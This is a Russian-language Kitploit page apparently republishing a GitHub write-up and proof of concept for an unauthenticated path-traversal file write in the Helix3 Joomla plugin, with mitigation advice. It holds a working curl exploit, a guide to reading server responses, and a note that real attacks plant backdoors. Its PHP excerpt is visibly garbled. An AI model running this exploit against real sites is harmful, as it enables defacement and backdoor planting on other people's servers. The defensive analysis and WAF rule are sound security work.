Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-49049 — Технический анализ и Proof of Concept (PoC) для CVE-2026-49049, уязвимость произвольной записи файлов без аутентификации в JoomShaper Helix3 для Joomla, включая векторы эксплуатации и рекомендации по смягчению последствий. | Kitploit
Инструменты/GitHubGitHub/dr-d25/cve-2026-49049
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubdr-d25/cve-2026-49049

CVE-2026-49049

Технический анализ и Proof of Concept (PoC) для CVE-2026-49049, уязвимость произвольной записи файлов без аутентификации в JoomShaper Helix3 для Joomla, включая векторы эксплуатации и рекомендации по смягчению последствий.

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Исследование уязвимости CVE-2026-49049: Unauthenticated Arbitrary File Write в JoomShaper Helix3 (Joomla)

Репозиторий содержит материалы, технический анализ и Proof of Concept (PoC) для критической уязвимости CVE-2026-49049, обнаруженной в устаревшем фреймворке шаблонов Helix3 от JoomShaper для CMS Joomla (версии от 1.0 до 3.1.0 включительно).

Уязвимость активно эксплуатируется в дикой природе автоматизированными ботнетами (в частности, в рамках дефейс-кампании AntonKill).


🔬 Технический анализ уязвимости

Проблема кроется в системном AJAX-обработчике Joomla (com_ajax), который вызывает метод onAjaxHelix3() в плагине plg_ajax_helix3. Разработчики компонента не предусмотрели:

  1. Проверку авторизации пользователя (Authentication Bypass).
  2. Проверку CSRF-токенов.
  3. Фильтрацию путей (Path Traversal Validation) при обработке параметра layoutName.

Логика уязвимого PHP-кода:

root@kitploit:~
public function onAjaxHelix3() {
    \$input = Factory::getApplication()->input;
    \(data  =\)input->post->get('data', [], 'array');
    \(action =\)data['action'];
    \(layoutName =\)data['layoutName'];

    // Отсутствует проверка прав! Отсутствует фильтрация пути!
    \$filepath = \(layoutPath .\)layoutName; 

    switch (\$action) {
        case 'save':
            // Запись контролируемых данных в произвольную директорию сервера
            fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
            break;
    }
}

🛠 Proof of Concept (PoC)

Для верификации уязвимости используется POST-запрос с типом контента application/x-www-form-urlencoded. Данный метод упаковки параметров является наиболее эффективным для демонстрации бреши.

Вектор атаки (cURL-команда):

root@kitploit:~
curl -sk -X POST \
  'https://target.com' \
  -d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'

Подробный разбор передаваемых данных:


🎯 Анализ ответов сервера (Фирмы валидации)

При проведении тестирования на проникновение сервер может вернуть разные типы ответов. Их интерпретация критически важна:

Вариант А: Уязвимость успешно отработала (Файл записан)

Ответ сервера:

root@kitploit:~
{"success":true,"message":null,"messages":null,"data":[]}

Интерпретация: Плагин уязвим, ограничения ОС отсутствуют. Файл успешно создан в корне сайта и доступен по адресу https://target.com. Сайт требует немедленной очистки и изоляции.

Вариант Б: Плагин уязвим, но сработала защита операционной системы

Ответ сервера:

root@kitploit:~
{
  "success":false,
  "message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
  "messages":null,
  "data":null
}

Интерпретация: Частичный успех. Логика плагина Helix3 нарушена — он принял данные без авторизации и попытался открыть файл на запись (fopen). Однако операционная система Linux заблокировала это действие, так как у пользователя веб-сервера (например, www-data) нет прав на запись в корень сайта.

Вариант В: Система защищена (Обновлена или удалена)

Ответ сервера: Статус 404 Not Found, 403 Forbidden или пустой ответ []. Интерпретация: Плагин обновлен до безопасной версии (3.1.1+), где добавлена проверка авторизации, либо полностью удален из CMS.


🛡 Митигация и устранение угрозы

  1. Обновление / Удаление: Обновите Helix3 до версии 3.1.1 или выше. Если фреймворк не используется, полностью удалите плагин plg_ajax_helix3 через панель администратора Joomla.
  2. Защита на уровне WAF (Nginx): Добавьте правило для блокировки вредоносных POST-запросов:
    root@kitploit:~
    if (\(request_method = POST) { set\)test "P"; }
    if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
    if (\$test = PH) { return 403; }
    

Disclaimer: Данный материал предоставлен исключительно в образовательных целях и для легитимного аудита безопасности систем (Pentesting). Автор не несет ответственности за неправомерное использование предоставленной информации.

Скачать инструмент
ПараметрЗначение / ПримерЧто означает для сервера
optioncom_ajaxТочка входа в Joomla для обработки AJAX-запросов.
pluginhelix3Системный идентификатор, заставляющий Joomla передать управление уязвимому плагину Helix3.
formatjsonУказывает движку вернуть ответ в формате JSON.
-ddata[...]Тело запроса (Form Data), автоматически интерпретируемое PHP в глобальный массив $_POST.
data[action]saveПереключатель switch в коде. Инструктирует плагин вызвать функцию записи (создания) файла.
data[layoutName]../../../../../../../exampleКлючевой вектор атаки (Path Traversal). Символы ../ заставляют операционную систему выйти из изолированной папки плагина в корневую директорию сайта. Расширение .json плагин подставит автоматически.
data[content]{"probe":"test"}Полезная нагрузка (Payload). Текстовые данные, которые физически запишутся внутрь создаваемого файла example.json. В реальных атаках сюда внедряется вредоносный код дефейса или бэкдоры.